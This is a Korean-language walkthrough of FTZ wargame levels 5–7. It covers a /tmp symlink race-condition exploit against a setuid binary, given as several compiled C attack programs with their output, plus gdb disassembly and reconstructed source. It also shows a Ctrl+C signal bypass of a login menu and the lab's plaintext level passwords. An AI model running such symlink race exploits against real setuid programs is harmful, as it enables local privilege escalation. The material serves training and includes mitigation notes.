[목차]

 

 

 

1. level5 -> level6 풀이

1-1 리버싱을 통한 의사코드 복원 실습

1-2 공격용 프로그램 제작(Remote Exploit)

1-3 level5 과정에 대한 정리

 

 

2. Level6 ->Level 7 풀이

2-1 백도어 만들기

2-2 공격용 프로그램 개발(Remote Exploit)

 

 

3. level7-> level8 풀이

 

 

 

 


 

 

 

1. level5 -> level6 풀이

 

 

 

■ 단원의 목적

레이스 컨디션(Race Condition, 경쟁상태/경쟁조건)

 

 

■ 레이스 컨디션(Race Condition)

다수의 프로세스가 서로 동일한 자원을 할당받기 위해 경쟁하는 상태이다.

 

 

■ 레이스 컨디션(Race Condition)의 전제조건

다른 계정의 권한에 접근해야 하므로 SetUID가 걸려 있어야 한다.

임시 파일을 생성해야 한다.

공격자가 임시로 생성되는 파일명을 정확하게 알아야 한다.

 

 

■ 레이스 컨디션이 발생하는 경우의 예

(일반적인 프로그램 실행시)

① 파일생성

② 생성된 파일에 내용쓰기

③ 쓴 내용을 읽어들여 처리/사용

④ 파일 삭제

 

 

cpu의 스케쥴링 방식을 악용하는 방식.

각 프로그램을 무한 루프로 감싸 돌리며 핀트를 맞춘다.

레이스 컨디션 = 반복 구문 무한루프

* 원본 소스파일의 코드를 실행하는 거냐 읽어드리는거냐에 따라 공격방법이 조금씩 다름

 

 

 

 

① level5 사용자로 로그인

level5 사용자로 로그인

ID/PASS: level5/what is your name?

 

② hint 파일 확인

[level5@ftz level5]$ ls -l

합계 12

-rw-r--r-- 1 root root 129 3월 23 2000 hint

drwxr-xr-x 2 root level5 4096 2월 24 2002 public_html

drwxrwx--- 2 root level5 4096 1월 16 2009 tmp


[level5@ftz level5]$ 
cat hint

 

/usr/bin/level5 프로그램은 /tmp 디렉토리에

level5.tmp 라는 이름의 임시파일을 생성한다.

 

이를 이용하여 level6의 권한을 얻어라.

 

 

/usr/bin/level5 프로그램이 존재

/usr/bin/level5 프로그램이 실행되면 /tmp/level5.tmp 파일을 생성한다.

 

③ 힌트 정보에 맞는 target 파일 찾기

[level5@ftz level5]$ ls -l /usr/bin/level5

-rws--x--- 1 level6 level5 12236 8월 19 12:58 /usr/bin/level5

 

레벨5 사용자가 x- 실행할 수 있고 실행하는 동안은 레벨6의 권한을 갖는다.

 

[level5@ftz level5]$ find / -user level6 -perm -4000 2>/dev/null

/usr/bin/level5

 

 

④ /usr/bin/level5 실행시 임시 파일 생성 여부 확인

[level5@ftz level5]$ /usr/bin/level5 ; ls -l /tmp/level5.tmp

ls: /tmp/level5.tmp: 그런 파일이나 디렉토리가 없음

 

-> 파일이 빨리 생성 되었다가 지워지기 때문에 없는것 처럼 보인다.

프로그램이 실행되는 동안에만 임시적으로 생성이 되는 듯.

 

그래서 무한 반복이 필요하다. 핀트를 맞추기 위해

 

⑤ 레이스 컨디션 공격을 위한 준비 (*타켓이 되는 프로그램을 많이 돌리는 프로그램)

[level5@ftz level5]$ cd tmp

[level5@ftz tmp]$ vi runTarget.c

#include <unistd.h>

 

int main(void)

{

int i;

for(i=0; i<10; i++)

{

system("/usr/bin/level5 &");

}

}


[level5@ftz tmp]$ 
gcc -o runTarget runTarget.c

[level5@ftz tmp]$

 

[참고] ln 명령어에 대해서

 

[level5@ftz tmp]$ vi Attack_Target.c

#include<unistd.h>

 

int main()

{

int i;

 

system("touch /tmp/18pass.txt");

for(i=0; i<=10; i++)

{

system("ln -s /tmp/18pass.txt /tmp/level5.tmp");

}

system("cat /tmp/18pass.txt");

system("rm -rf /tmp/18pass.txt");

}


[level5@ftz tmp]$ 
gcc -o Attack_Target Attack_Target.c

[level5@ftz tmp]$

 

[level5@ftz tmp]$ vi Attack_Target.s

#!/bin/bash

 

#

# # gcc -o Attack_Target Attack_Target.c

# # gcc -o runTarget runTarget.c

# # ./Attack_Target.sh

#

 

./runTarget &

./Attack_Target

 

 

 

[level5@ftz tmp]$ chmod 755 Attack_Target.sh

[level5@ftz tmp]$ ./Attack_Target.sh

ln: `/tmp/level5.tmp': 파일이 존재합니다

ln: `/tmp/level5.tmp': 파일이 존재합니다

ln: `/tmp/level5.tmp': 파일이 존재합니다

ln: `/tmp/level5.tmp': 파일이 존재합니다

ln: `/tmp/level5.tmp': 파일이 존재합니다

ln: `/tmp/level5.tmp': 파일이 존재합니다

ln: `/tmp/level5.tmp': 파일이 존재합니다

ln: `/tmp/level5.tmp': 파일이 존재합니다

ln: `/tmp/level5.tmp': 파일이 존재합니다

ln: `/tmp/level5.tmp': 파일이 존재합니다

ln: `/tmp/level5.tmp': 파일이 존재합니다

next password : what the hell

 

혹시나 공격에 성공하지 못하는 경우가 있으면 반복 회수를 10번에서 20번 또는 30번으로 올려야 한다.

그리고 권한 거부가 뜨기 때문에 관리자 권한으로 해당 파일들을 삭제후 재시도 해야한다.

18pass.txt cat 허가 거부됨/remove 명령이 허용되지 않음

 

root) # rm -f /tmp/18pass.txt /tmp/level5.tmp

 

 

■ 레벨5의 레이스 컨디션 공격 타이밍 예제

 

-------------------------- Attack_Target.sh -------------------------------------

 

Attack_Target process runTarget process

 

---------------------------------------------------------------------------------

(ㄱ) 프로그램 실행 (ㄱ) 프로그램 실행

(ㄴ) 파일 생성(/tmp/18pass.txt)

|

+---------> (ㄷ)링크 파일 생성 <--- (ㄴ) 파일을 생성할려고 하지만 미리 만들어져 있음

(/tmp/level5.tmp)

(ㄷ) 파일에 내용 추가

(ㄹ) 파일 내용 확인(/tmp/18pass.tmp)

(ㅁ) 파일 삭제(EX: rm -f /tmp/18pass.txt)(ㄹ) 파일 삭제(EX: rm -f /tmp/level5.tmp)

(ㅂ) 프로그램 종료 (ㅁ) 프로그램 종료

 

 


 

 

1-1 공격용 프로그램 개발(Local Exploit)

 

 

■ thread를 사용하여 좀 더 공격방법을 진화 시켜 보자.(Local Exploit)

 

[참고] Process & Thread 대해서

Google 검색: "thread & process 차이“

 

프로세서는 별도의 공간을 별도로 가져감. 그만큼 낭비될 수 있음

스레드는 같은 공간을 각각 가져감

같은 공간을 가지고 같은 방식의 서비스를 스레드로 처리하면 프로세스보다

훨씬 많은 양을 띄울 수 있어서 메모리 절약에 좋다.

 

단 무조건 빠르다고 볼 순 없다.딕셔너리 어택은 멀티 프로세서가 더 빠름.

케바케

 

[level5@ftz tmp]$ vi Attack_Target2.c

#include <stdio.h>

#include <stdlib.h>

#include <pthread.h>

 

/*

Complie Option: -pthread

# gcc -o Attack_Target Attack_Target2.c -pthread

# ./Attack_Target

*/

 

void *exec_cmd();

void *exec_race();

 

int main()

{

pthread_t thread1, thread2;

char *message1 = "Thread 1";

char *message2 = "Thread 2";

 

int iret1, iret2, i;

 

/두개의 쓰레드를 만들어

iret1 = pthread_create(&thread1, NULL, exec_cmd, (void *) message1);

iret2 = pthread_create(&thread2, NULL, exec_race, (void *) message2);

 

/ 실행

pthread_join(thread1, NULL);

pthread_join(thread2, NULL);

 

printf("Thread1 return: %d\n", iret1);

printf("Thread2 return: %d\n", iret2);

 

return 0;

}

 

void *exec_cmd()

{

int i;

 

for(i=0; i<10; i++)

{

system("/usr/bin/level5 &");

printf("---------- Execute level5 ----------\n");

}

exit(0);

}

 

void *exec_race()

{

int i;

system("touch /tmp/18pass.txt");

for(i=0; i<10; i++)

{

system("ln -s /tmp/18pass.txt /tmp/level5.tmp &");

printf("=========== Sucessfully create link !!! ========\n");

system("cat /tmp/18pass.txt");

}

exit(0);

}

 

[참고] 프로그램이 어떻게 동작하는지 분석하기 위해서 printf() 함수를 각 라인에 붙여서 프로그램을 동작을 시키면 좀더 효과적으로 분석할 수 있다.

 

[level5@ftz tmp]$ su - root

root 사용자의 암호 입력

[root@ftz root]# rm -f /tmp/18pass.txt /tmp/level5.tmp

[root@ftz root]# exit

 

[level5@ftz tmp]$ gcc -o Attack_Target Attack_Target2.c -pthread

[level5@ftz tmp]$ ./Attack_Target

---------- Execute level5 ----------

ln: `/tmp/level5.tmp': 파일이 존재합니다

=========== Sucessfully create link !!! ========

next password : what the hell

ln: `/tmp/level5.tmp': 파일이 존재합니다

---------- Execute level5 ----------

=========== Sucessfully create link !!! ========

---------- Execute level5 ----------

ln: `/tmp/level5.tmp': 파일이 존재합니다

---------- Execute level5 ----------

=========== Sucessfully create link !!! ========

next password : what the hell

---------- Execute level5 ----------

---------- Execute level5 ----------

ln: `/tmp/level5.tmp': 파일이 존재합니다

=========== Sucessfully create link !!! ========

---------- Execute level5 ----------

next password : what the hell

---------- Execute level5 ----------

ln: `/tmp/level5.tmp': 파일이 존재합니다

=========== Sucessfully create link !!! ========

---------- Execute level5 ----------

next password : what the hell

---------- Execute level5 ----------

ln: `/tmp/level5.tmp': 파일이 존재합니다

 

*공격 성공 확률이 더 높다

 

[level5@ftz tmp]$ telnet localhost

level6/what the hell

<CTRL + ]>

telnet> quit

[level5@ftz tmp]$

 

[level5@ftz tmp]$ cd /tmp

[level5@ftz tmp]$ ls -l

합계 16

-rw-rw-r-- 1 level5 level5 31 11월 26 17:54 18pass.txt

-rw-rw-r-- 1 level4 level3 107 11월 25 18:54 backdoor2.c

lrwxrwxrwx 1 level5 level5 15 11월 26 17:54 level5.tmp -> /tmp/18pass.txt

drwx------ 2 root root 4096 11월 26 15:39 orbit-root

drwx------ 2 root root 4096 11월 26 15:38 ssh-XXugNuiN

 

 

[level5@ftz tmp]$ cat 18pass.txt

next password : what the hell

 

 

 

 

[참고] 경쟁조건/경쟁상태(Race Condition) 공격에 대한 대응책 및 예방방법

임시파일을 만들지 않거나, 임시파일을 만들어야 하는 경우에는 임시파일의 이름을 랜덤(random)하게 생성한다.

개발자는 소스코드 개발시에 creat(), open() 함수를 구분하여 사용하여야 한다. 임시파일의 존재 유무를 판단(파일이 존재하지 않는 경우에만 생성하도록)하는 구문을 집어 넣는다.

 

 


 

 

 

1-2 리버싱을 통한 의사 코드(가상 코드) 복원

 

 

[level5@ftz tmp]$ ls -l /usr/bin/level5

-rws--x--- 1 level6 level5 12236 8월 19 12:58 /usr/bin/level5

 

실행만 할 수 있기 때문 gdb로 디버깅할 수 없다. read 권한이 없기 때문.

따라서, level6 권한을 따낸후에 디버깅 작업을 해야 한다.

실습에서는 root 사용자로 작업한다.

 

[level5@ftz level5]$ su root

Password: (root 사용자 암호)

 

 

[root@ftz level5]$ gdb /usr/bin/level5

 

1. 처음에 그냥 만들어지는 부분

0x0804842c <main+0>: push %ebp

0x0804842d <main+1>: mov %esp,%ebp

0x0804842f <main+3>: sub $0x8,%esp

0x08048432 <main+6>: and $0xfffffff0,%esp

0x08048435 <main+9>: mov $0x0,%eax

%eax에 뭔가를 집어 넣으려고 0처리($0x0)를 했다

 

 

2. create 함수 부분

0x0804843a <main+14>: sub %eax,%esp

0x0804843c <main+16>: sub $0x8,%esp

0x0804843f <main+19>: push $0x180 모드

0x08048444 <main+24>: push $0x8048580 파일path,어느 자리에 파일을 만들지

0x08048449 <main+29>: call 0x804832c <creat>

#include <stdio.h>

#include <unistd.h>

/* main function*/

int main()

{

fd = create(“/tmp/level5.tmp”, 0x180) / 리눅스는 숫자 값 리턴

}

0x0804844e <main+34>: add $0x10,%esp

0x08048451 <main+37>: mov %eax,0xfffffffc(%ebp) ebp에 –4만큼 되는 지점(변수)

eax 는 함수의 리턴값

/* main function*/

int main()

{

int fd;

fd = create(“/tmp/level5.tmp”, 0x180)

}

0x08048454 <main+40>: cmpl $0x0,0xfffffffc(%ebp) ebp –4 하고 0하고 동일한지 비교

0x08048458 <main+44>: jns 0x8048484 <main+88> jns는 jump not sign(음수 , 1일 때)

코딩은 거꾸로 해야 한다.

 

/* main function*/

int main()

{

int fd;

fd = create(“/tmp/level5.tmp”, 0x180)

if = (fd < 0)

{

printf(“Can not create a temporary file.\n”);

remove(“/tmp/level5.tmp”);

exit (0);

}

return 0;

}

 

 

 

 

참이면 여기부터 실행

0x0804845a <main+46>: sub $0xc,%esp

0x0804845d <main+49>: push $0x80485a0

0x08048462 <main+54>: call 0x804835c <printf>

0x08048467 <main+59>: add $0x10,%esp

0x0804846a <main+62>: sub $0xc,%esp

0x0804846d <main+65>: push $0x8048580

0x08048472 <main+70>: call 0x804833c <remove>

0x08048477 <main+75>: add $0x10,%esp

 

 

GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)

Copyright 2003 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux-gnu"...

(gdb) disas main

Dump of assembler code for function main:

0x0804842c <main+0>: push %ebp

0x0804842d <main+1>: mov %esp,%ebp

0x0804842f <main+3>: sub $0x8,%esp

0x08048432 <main+6>: and $0xfffffff0,%esp

0x08048435 <main+9>: mov $0x0,%eax

0x0804843a <main+14>: sub %eax,%esp

0x0804843c <main+16>: sub $0x8,%esp

0x0804843f <main+19>: push $0x180

0x08048444 <main+24>: push $0x8048580

0x08048449 <main+29>: call 0x804832c <creat>

/* int creat(const char *pathname, mode_t mode); */

0x0804844e <main+34>: add $0x10,%esp

0x08048451 <main+37>: mov %eax,0xfffffffc(%ebp)

0x08048454 <main+40>: cmpl $0x0,0xfffffffc(%ebp)

0x08048458 <main+44>: jns 0x8048484 <main+88>

/* if(fd < 0) { 파일생성 실패 }

else { 파일생성 성공 }

*/

0x0804845a <main+46>: sub $0xc,%esp

0x0804845d <main+49>: push $0x80485a0

0x08048462 <main+54>: call 0x804835c <printf>

0x08048467 <main+59>: add $0x10,%esp

0x0804846a <main+62>: sub $0xc,%esp

0x0804846d <main+65>: push $0x8048580

0x08048472 <main+70>: call 0x804833c <remove> /* int remove(const char *pathname); */

0x08048477 <main+75>: add $0x10,%esp

0x0804847a <main+78>: sub $0xc,%esp

0x0804847d <main+81>: push $0x0

0x0804847f <main+83>: call 0x804836c <exit>

0x08048484 <main+88>: sub $0x4,%esp

0x08048487 <main+91>: push $0x1f

0x08048489 <main+93>: push $0x80485e0

0x0804848e <main+98>: pushl 0xfffffffc(%ebp)

0x08048491 <main+101>: call 0x804830c <write>

/* ssize_t write(int fd, const void *buf, size_t count); */

0x08048496 <main+106>: add $0x10,%esp

0x08048499 <main+109>: sub $0xc,%esp

0x0804849c <main+112>: pushl 0xfffffffc(%ebp)

0x0804849f <main+115>: call 0x804831c <close>

---Type <return> to continue, or q <return> to quit---

0x080484a4 <main+120>: add $0x10,%esp

0x080484a7 <main+123>: sub $0xc,%esp

0x080484aa <main+126>: push $0x8048580

0x080484af <main+131>: call 0x804833c <remove> /* int remove(const char *pathname); */

0x080484b4 <main+136>: add $0x10,%esp

0x080484b7 <main+139>: leave

0x080484b8 <main+140>: ret

0x080484b9 <main+141>: nop

0x080484ba <main+142>: nop

0x080484bb <main+143>: nop

End of assembler dump.

(gdb) x/s 0x8048580

0x8048580 <_IO_stdin_used+28>: "/tmp/level5.tmp"

(gdb) x/s 0x80485a0

0x80485a0 <_IO_stdin_used+60>: "Can not creat a temporary file.\n"

(gdb) x/s 0x80485e0

0x80485e0 <_IO_stdin_used+124>: "next password : what the hell\n"

(gdb) x/s 0x8048580

0x8048580 <_IO_stdin_used+28>: "/tmp/level5.tmp"

(gdb) quit

 

push $0x180

push $0x8048580

call 0x804832c <creat>

(명령) $0x180은 mode 이고 $0x8048580 주소안에 있는 값이 생성할 파일의 이름이다.

(해석) "(16진수) 0x180 == (8진수) 0600" 따라서 매뉴얼 페이지를 참고하면, 0400(S_IREAD) + 0200(S_IWRITE) 라는 것을 알수 있다. 따라서, mode는 rw 이다.

cmpl $0x0,0xfffffffc(%ebp)

(명령) cmpl 명령은 long 형태로 두개의 오퍼랜드를 비교하여 같으면 CF(Carry Flag)는 0, ZF(Zero Flag)는 1로 설정한다.

(해석) %ebp-4 주소의 값과 0을 비교하여 같으면 ZF=1로 설정한다.

jns 0x8048484 <main+88>

(명령) jns(jump not sign)은 SF(Sign Flag, 부호 플래그)가 0일때(양수) 점프한다.

(해석) jns 명령어 전의 "cmpl $0x0,0xfffffffc(%ebp)"에 의해 %ebp-4 주소안의 값이 0인지 비교(0 미만으로 되어 있으면(음수이면))하여 점프한다. 이것은 creat() 함수 실행시 파일 정상적으로 생성되면 양수의 fd 값을 return 하지만, 음수이면 파일이 정상적으로 생성되지 않았음을 나타낸다.

 

 

 

■ 복원된 의사 코드이다.

# vi level5.c

#include <stdio.h>

#include <sys/types.h>

#include <sys/stat.h>

#include <fcntl.h>

 

#define PERM 0x180

 

int main()

{

int fd;

char nextPass[] = "next password : what the hell\n";

char *tempfile = "/tmp/level5.tmp;

 

// temporary file create

fd = create(tempFile, PERM);

if(fd < 0)

{

printf("Can not create a temporary file.\n");

remove(tempFile);

exit(0);

}

else

{

write(fd, nextPass, strlen(nextPass));

close(fd);

remove(tempFile);

}

return 0;

}

 

 

■ 원본 소스 코드

# vi level5.c

#include <unistd.h>

#include <stdio.h>

#include <fcntl.h>

#include <sys/stat.h>

#include <sys/types.h>

#include <stdlib.h>

#include <string.h>

 

#define TMP_FILE "/tmp/level5.tmp"

#define LVL6_PASS "next password : what the hell\n"

 

int main( void )

{

int fd;

 

fd = creat( TMP_FILE, S_IRUSR|S_IWUSR );

if( fd < 0 )

{

printf( "Can not creat a temporary file.\n" );

remove( TMP_FILE );

exit(0);

}

 

write( fd, LVL6_PASS, strlen( LVL6_PASS ) + 1 );

close( fd );

 

remove( TMP_FILE );

}

 

 


 

 

 

1-4 level5 과정에 대한 정리

 

 

 

■ 수행한 내용

Race Condition 공격 프로그램 동작 원리와 공격 프로그램 제작

/usr/bin/level5 파일에 대한 분석을 통한 의사코드(가상코드) 제작

공격 프로그램 제작시 process & thread 방식으로 제작(Local Exploit Code 개발)

 

 

 

■ 다른 방법을 통한 문제 풀이([출처] http://inhack.org/wordpress/?p=1968)

원본 내용을 되도록 손상시키지 않는 범위내에서 문서를 작성하였습니다.

 

① level5 사용자로 로그인

level5 사용자로 로그인

level5/what is your name?

 

② 이전 실습에서 생성 되었던 임시 파일 삭제

[level5@ftz tmp]$ su - root

root 사용자의 암호 입력

[root@ftz root]# rm -f /tmp/18pass.txt /tmp/level5.tmp /tmp/level6

[root@ftz root]# exit

 

③ 공격 프로그램 만들기(racecon1.c, racecon2.c, racecon3.c)

[level5@ftz level5]$ cd ~/tmp

[level5@ftz tmp]$ vi racecon1.c

#include <stdlib.h>

int main()

{

while(1) system("/usr/bin/level5");

return 0;

}

지속적은 /usr/bin/level5 프로그램을 실행한다.

 

 

[level5@ftz tmp]$ vi racecon2.c

#include <stdlib.h>

int main()

{

system("touch /tmp/level6");

while(1) system("ln -s /tmp/level6 /tmp/level5.tmp");

return 0;

}

/tmp/level6 파일을 생성하고 /tmp/level5.tmp 파일에 지속적으로 링크를 건다.

 

[level5@ftz tmp]$ vi racecon3.c

#include <stdlib.h>

int main()

{

while(1) system("tail -f /tmp/level6");

return 0;

}

 

/tmp/level6 파일을 지속적으로 확인한다.

 

④ 공격 코드 컴파일

[level5@ftz tmp]$ gcc -o racecon1 racecon1.c

[level5@ftz tmp]$ gcc -o racecon2 racecon2.c

[level5@ftz tmp]$ gcc -o racecon3 racecon3.c

 

⑤ 프로그램 실행 경쟁 시키기

[level5@ftz tmp]$ ./racecon1 & ./racecon2 2>/dev/null & ./racecon3 2>/dev/null

[1] 4453

[2] 4454

next password : what the hell

<CTRL + Z>

[3]+ Stopped ./racecon3 2>/dev/null

 

무한 루프라

ctr+c 가 아니라

ctrl +z로 종료

 

$ jobs

⑥ 암호가 획득되었다면 실행 중인 프로세스 종료

[level5@ftz tmp]$ pgrep -lf racecon

11647 ./racecon1

11648 ./racecon2

11649 ./racecon3

 

 

[level5@ftz tmp]$ pgrep racecon

11647

11648 

11649

 

 

[level5@ftz tmp]$ kill -9 `pgrep racecon`

[3]+ 죽었음 ./racecon3 2>/dev/null



 


 

 

 

2. Level6 ->Level 7 풀이

 

 

 

■ 단원의 목적

signal() 함수의 취약점

signal 제어(Signal Handling, Signal Trap)

 

 

■ 시그널(signal)?

하나의 프로세스(Process)가 다른프로세스(Process)에게 보내는 비동기적 알림 이벤트 메세지

 

 

■ 명령어에서 많이 사용되는 시그널

--------------------------------------------------------------------------------------

이름 번호 동작 설명

--------------------------------------------------------------------------------------

SIGHUP 1 Term Hangup detected on controlling terminal

or death of controlling process

SIGKILL 9 Term Kill signal

SIGTERM 15 Term Termination signal

--------------------------------------------------------------------------------------

 

 

■ 키보드로 많이 사용되는 시그널

--------------------------------------------------------------------------------------

이름 번호 동작 설명

--------------------------------------------------------------------------------------

SIGINT 2 Term Interrupt from keyboard, <CTRL + C>

SIGQUIT 3 Core Quit from keyboard, <CTRL + \>

SIGTSTP 20 Stop Stop typed at terminal, <CTRL + Z>

--------------------------------------------------------------------------------------

 

 

[참고] signal에 대해서

 

 

 

 

① level6 사용자로 로그인

level6 사용자로 로그인

-> ID/PASS: level6/what the hell

 

로그인시 나타나는 메세지

Last login: Mon Aug 25 08:41:35 from localhost.localdomain

 

 

hint - 인포샵 bbs의 텔넷 접속 메뉴에서 많이 사용되던 해킹 방법이다.

 

<ENTER>

 

 

#####################################

## ##

## 텔넷 접속 서비스 ##

## ##

## ##

## 1. 하이텔 2. 나우누리 ##

## 3. 천리안 ##

## ##

#####################################

 

접속하고 싶은 bbs를 선택하세요 : 1

Trying 203.245.15.76...

 

-> 잠시 기다리면 접속이 끊어진다.(약 20초 정도)

 

level6 사용자로 새로 로그인

-> ID/PASS: level6/what the hell

Last login: Mon Aug 25 08:41:35 from localhost.localdomain

 

 

hint - 인포샵 bbs의 텔넷 접속 메뉴에서 많이 사용되던 해킹 방법이다.

 

<ENTER>

 

 

#####################################

## ##

## 텔넷 접속 서비스 ##

## ##

## ##

## 1. 하이텔 2. 나우누리 ##

## 3. 천리안 ##

## ##

#####################################

 

접속하고 싶은 bbs를 선택하세요 : 2

Trying 203.238.129.97...

-> 잠시 기다리면 접속이 끊어진다.(약 20초 정도)

 

 

 

 

 

level6 사용자로 새로 로그인

-> ID/PASS: level6/what the hell

Last login: Mon Aug 25 08:41:35 from localhost.localdomain

 

 

hint - 인포샵 bbs의 텔넷 접속 메뉴에서 많이 사용되던 해킹 방법이다.

 

<ENTER>

 

#####################################

## ##

## 텔넷 접속 서비스 ##

## ##

## ##

## 1. 하이텔 2. 나우누리 ##

## 3. 천리안 ##

## ##

#####################################

 

접속하고 싶은 bbs를 선택하세요 : 3

Trying 210.120.128.180...

 

-> 잠시 기다리면 접속이 끊어진다.(약 20초 정도)

 

② 하이텔, 나우누리, 천리안 도메인 확인

(windows) 원본 운영체제

 

<CTRL + ESC> => "cmd"

Microsoft Windows [Version 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. All rights reserved.

 

C:\Users\soldesk> cd \

 

C:\> cls

C:\> nslookup

기본 서버: kns.kornet.net

Address: 168.126.63.1

 

203.245.15.76

서버: kns.kornet.net

Address: 168.126.63.1

 

이름: home.hitel.net

Address: 203.245.15.76

 

> 203.238.129.97

서버: kns.kornet.net

Address: 168.126.63.1

 

*** kns.kornet.net이(가) 203.238.129.97을(를) 찾을 수 없습니다. Non-existent domain

> 210.120.128.180

서버: kns.kornet.net

Address: 168.126.63.1

 

이름: chollian.net

Address: 210.120.128.180

 

> quit

-> 인터넷의 발전으로 PC 통신 BBS 서비스는 페지 되었다.

 

③ 공격에 대한 생각(thinking)

BBS 화면은 가짜 모듈에 해당한다. 이 메뉴를 우회할 수 있는 뭔가가 있을 것이다.

 

대신 우회할 수 있는 시점이 어디인가가 중요하다.

 

우회할 수 있는 시점을 확인하기 위해서 수많은 시그널을 무작위로 입력해 본다.

 

④ 새로 로그인

level6 사용자로 새로 로그인

-> ID/PASS: level6/what the hell

Last login: Mon Aug 25 08:41:35 from localhost.localdomain

 

 

hint - 인포샵 bbs의 텔넷 접속 메뉴에서 많이 사용되던 해킹 방법이다.

 

<ENTER>

 

#####################################

## ##

## 텔넷 접속 서비스 ##

## ##

## ##

## 1. 하이텔 2. 나우누리 ##

## 3. 천리안 ##

## ##

#####################################

 

접속하고 싶은 bbs를 선택하세요 : <CTRL + C> Can't use ctrl+c

<CTRL + D>

 

-> 접속이 끊어진다.

 

⑤ 다시 로그인

level6 사용자로 새로 로그인

-> ID/PASS: level6/what the hell

Last login: Mon Aug 25 08:41:35 from localhost.localdomain

 

 

hint - 인포샵 bbs의 텔넷 접속 메뉴에서 많이 사용되던 해킹 방법이다.

 

<ENTER>

 

#####################################

## ##

## 텔넷 접속 서비스 ##

## ##

## ##

## 1. 하이텔 2. 나우누리 ##

## 3. 천리안 ##

## ##

#####################################

 

접속하고 싶은 bbs를 선택하세요 : <CTRL + \>

 

 

접속이 끊어진다.

시그널 처리가 되어 있다는 것을 알수 있다.

 

!!!! 그럼 어떻게 로그인하자마자 프로그램이 실행 된것일까? !!!!

 

⑥ signal handler 함수 전에 <CTRL + C> 실행

level6 사용자로 새로 로그인

-> ID/PASS: level6/what the hell

login: level6

Password: (what the hell)

Last login: Mon Aug 25 15:30:54 from 192.168.10.1

 

 

hint - 인포샵 bbs의 텔넷 접속 메뉴에서 많이 사용되던 해킹 방법이다.

 

<CTRL + C>

 

[level6@ftz level6]$

 

 

 

[level6@ftz level6]$ id

uid=3006(level6) gid=3006(level6) groups=3006(level6)

권한이 높아지지는 않았다.

 

[level6@ftz level6]$ my-pass

Level6 Password is "what the hell".

따라서, 암호도 level6 사용자의 암호이다.

 

⑦ 의심스러운 파일들 확인

[level6@ftz level6]$ ls -al

합계 104

drwxr-xr-x 4 root level6 4096 3월 5 2003 .

drwxr-xr-x 35 root root 4096 8월 19 12:58 ..

-rw-r--r-- 1 root root 245 9월 24 2000 .Xdefaults

-rw------- 1 root root 1 1월 15 2010 .bash_history

-rw-r--r-- 1 root root 12 11월 24 2000 .bash_login

-rw-r--r-- 1 root root 24 2월 24 2002 .bash_logout

-rw-r--r-- 1 root root 224 2월 24 2002 .bash_profile

-rw-r--r-- 1 root root 163 3월 5 2003 .bashrc

-rw-r--r-- 1 root root 400 9월 24 2000 .cshrc

-rw-r--r-- 1 root root 4742 9월 24 2000 .emacs

-r--r--r-- 1 root root 319 9월 24 2000 .gtkrc

-rw-r--r-- 1 root root 100 9월 24 2000 .gvimrc

-rw-r--r-- 1 root root 226 9월 24 2000 .muttrc

-rw-r--r-- 1 root root 367 9월 24 2000 .profile

-rw-r--r-- 1 root root 1 5월 7 2002 .viminfo

-rw-r--r-- 1 root root 4145 9월 24 2000 .vimrc

-rw-r--r-- 1 root root 72 11월 23 2000 hint

-rw-r----- 1 root level6 36 3월 24 2000 password

drwxr-xr-x 2 root level6 4096 5월 16 2005 public_html

drwxrwxr-x 2 root level6 4096 1월 14 2009 tmp

-rwxr-x--- 1 root level6 14910 3월 5 2003 tn

 

의심스러운 파일들은

(ㄱ) hint

(ㄴ) password

(ㄷ) tn

이다.

 

[level6@ftz level6]$ cat hint

 

hint - 인포샵 bbs의 텔넷 접속 메뉴에서 많이 사용되던 해킹 방법이다.

 

 

level6 사용자로 로그인할 때 보여줬던 내용이 hint 파일의 내용임을 알수 있다.

 

[level6@ftz level6]$ file tn

tn: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.5, dynamically linked (uses shared libs), not stripped

 

tn은 실행파일임을 알수 있다.

[level6@ftz level6]$ cat .bashrc

# .bashrc

 

# User specific aliases and functions

 

# Source global definitions

if [ -f /etc/bashrc ]; then

. /etc/bashrc

fi

export PS1="[\u@\h \W]\$ "

./tn

logout

 

tn 프로그램은 .bashrc 파일에 들어 있기 때문에 level6 사용자로 로그인시에 바로 실행이 되었던것으로 판단이 된다.

 

[level6@ftz level6]$ cat password

Level7 password is "come together".

 

level7의 암호는 password 파일에 들어 있다.

tn 파일이 실행되는 과정은 다음과 같다.

사용자 로그인 ---> 환경파일(.bashrc(./tn)) ---> tn 프로그램 실행(번호) ---> 천리안(telnet)

 

 

 


 

 

 

2-1. 리버싱을 통한 의사코드 복원

 

 

 

[참고] 참고 명령어들

readelf CMD (https://devanix.tistory.com/186) ELF 파일 정보 보기

nm CMD (https://devanix.tistory.com/190) Object 파일의 심볼 확인

objdump/objcopy (https://devanix.tistory.com/187?category=338572) Object 파일 덤프/복사

strings (https://devanix.tistory.com/191?category=338572) Binary 파일의 문자열축출

binwalk (binary walk) : 내부에 있는 숨겨진 파일을 다 보여줌.

 

 

level6 사용자로 로그인

login: level6

Password: (what the hell)

Last login: Mon Aug 25 15:33:48 from 192.168.10.1

 

 

hint - 인포샵 bbs의 텔넷 접속 메뉴에서 많이 사용되던 해킹 방법이다.

 

 

<CTRL + C>

 

 

[level6@ftz level6]$ id

uid=3006(level6) gid=3006(level6) groups=3006(level6)

 

 

[level6@ftz level6]$ ls -l

합계 32

-rw-r--r-- 1 root root 72 11월 23 2000 hint

-rw-r----- 1 root level6 36 3월 24 2000 password

drwxr-xr-x 2 root level6 4096 5월 16 2005 public_html

drwxrwxr-x 2 root level6 4096 1월 14 2009 tmp

-rwxr-x--- 1 root level6 14910 3월 5 2003 tn


[level6@ftz level6]$
 gdb tn

GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)

Copyright 2003 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux-gnu"...

(gdb) disas main

Dump of assembler code for function main:

시작부분

0x080484f8 <main+0>: push %ebp

0x080484f9 <main+1>: mov %esp,%ebp

0x080484fb <main+3>: sub $0x8,%esp

 

/*Header File*/

# include <unistd.h>

# include <stdio.h>

 

/*main func*/

mainI()

{

system(“cat hint”);

getchar();

}

